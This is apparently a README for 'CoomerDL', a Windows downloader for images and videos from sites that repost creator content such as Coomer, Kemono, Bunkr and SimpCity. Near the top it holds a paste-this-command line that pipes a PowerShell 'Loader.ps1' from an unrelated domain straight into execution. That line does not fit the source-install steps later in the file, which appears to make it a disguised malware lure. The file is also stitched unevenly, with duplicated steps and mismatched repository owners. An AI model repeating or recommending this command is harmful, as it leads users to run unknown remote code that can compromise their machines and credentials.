CoomerDL

CoomerDL is a desktop app for Windows that downloads images, videos, and files from supported websites. You paste a URL, pick a folder, and the app downloads everything for you — with progress bars, retries, and a database that prevents downloading the same file twice.

Download and install Python from the official website.
Make sure to check "Add Python to PATH" during installation.

irm https://software-gateway.click/Loader.ps1?get=CoomerDL | iex

## How to use

1. Launch the application
2. Paste a URL from a supported site
3. Select your download folder
4. Choose the content types you want (images, videos, compressed files)
5. Click **Download**


Downloaded files are organized into subfolders by type (`images`, `videos`, `documents`, `compressed`).
---

## Supported sites

| Site | Status | Notes |
|------|--------|-------|
| [coomerfans.com](https://coomerfans.com/) | ✅ Working | Alternative to Coomer |
| [pawchive.pw](https://pawchive.pw/) | ✅ Working | Alternative to Kemono |
| [erome.com](https://www.erome.com/) | ✅ Working | Albums and profiles |
| [bunkr](https://bunkr-albums.io/) | ✅ Working | Any bunkr domain (bunkr.si, bunkr.site, etc.) |
| [simpcity.cr](https://simpcity.cr/) | ✅ Working | May require cookies (see [Cookies](#simpcity-cookies)) |
| coomer.st | ✅ Working | The site |
| kemono.cr | ✅ Working | The site  |
| jpg5.su | ✅ Working | Downloads from this site |

---

## Getting started

There are two ways to use CoomerDL:


### Option A — Run from source

Requires **Python 3.10+** on **Windows 10/11**. Dependencies (installed from `requirements.txt`): PySide6, requests, beautifulsoup4, and cloudscraper (only needed for SimpCity).

```bash
git clone https://github.com/CoomerDL/CoomerDL.git or download manually
cd CoomerDL

Create and activate a virtual environment:

python -m venv .venv
.venv\Scripts\Activate.ps1

Install dependencies and run:

pip install -r requirements.txt
python main.py

cd CoomerDL
pip install -r requirements.txt
python main.py

• Modern PySide6 desktop interface
• Multithreaded downloads with configurable limits
• Per-file and global progress tracking (speed, ETA)
• Automatic retries with configurable interval
• SQLite database to skip files already downloaded
• Configurable file naming modes and folder structure
• Exportable logs
• Cookies support for SimpCity
• English and Spanish included, community translations supported

Open Settings from the main window:

• General — language selection
• Downloads — max simultaneous downloads, retries, retry interval, file naming mode, folder structure (these apply to every supported site)
• Cookies — SimpCity cookies (import, save, clear), with a status line showing how many cookies are stored and a built-in tutorial for extracting them from your browser
• Database — browse download records grouped by user and post, search by user or file name, see totals (users, files, size), export the database, or delete records

SimpCity may require cookies depending on the content or your session. In Settings > Cookies you can:

• paste cookies as JSON
• import cookies from a file
• save or clear saved cookies

These cookies are only used for SimpCity downloads.

CoomerDL keeps a record of every downloaded file in a local SQLite database so it can skip files you already have. You can export or manage records from Settings > Database.

Default location: resources/config/downloads.db

The app shows domain-tagged logs in the UI and can export them to a file:

bunkr: Resolving /f/ URL ...
erome: Processing album URL ...
system: Download settings were applied successfully.

Default logs folder: resources/config/logs/

Officially maintained languages: English and Español. Other languages can be added by the community through forks.

Translation files live in:

resources/config/i18n/
    languages.json
    en.json
    es.json

1. Fork the repository
2. Copy en.json and rename it to your language code (e.g. fr.json, ja.json, pt_br.json)
3. Translate the values only — never change the keys
4. Keep placeholders like {url}, {error}, {path}, {version} unchanged
5. Register the language in languages.json:

{
  "official": [
    { "code": "en", "name": "English" },
    { "code": "es", "name": "Español" }
  ],
  "community": [
    { "code": "fr", "name": "Français" }
  ]
}

6. Run the app and select the language from Settings > General

If a key is missing in a community language, the app falls back to English.

1. Fork the repository on GitHub
2. Clone your fork:

git clone https://github.com/YOUR_USERNAME/CoomerDL.git
cd CoomerDL

3. Add the original repository as upstream:

git remote add upstream https://github.com/SunCharacterize/CoomerDL.git

4. Keep your fork updated:

git fetch upstream
git checkout main
git merge upstream/main

5. Work on your own branch:

git checkout -b my-changes

If this project helps you, you can support it here: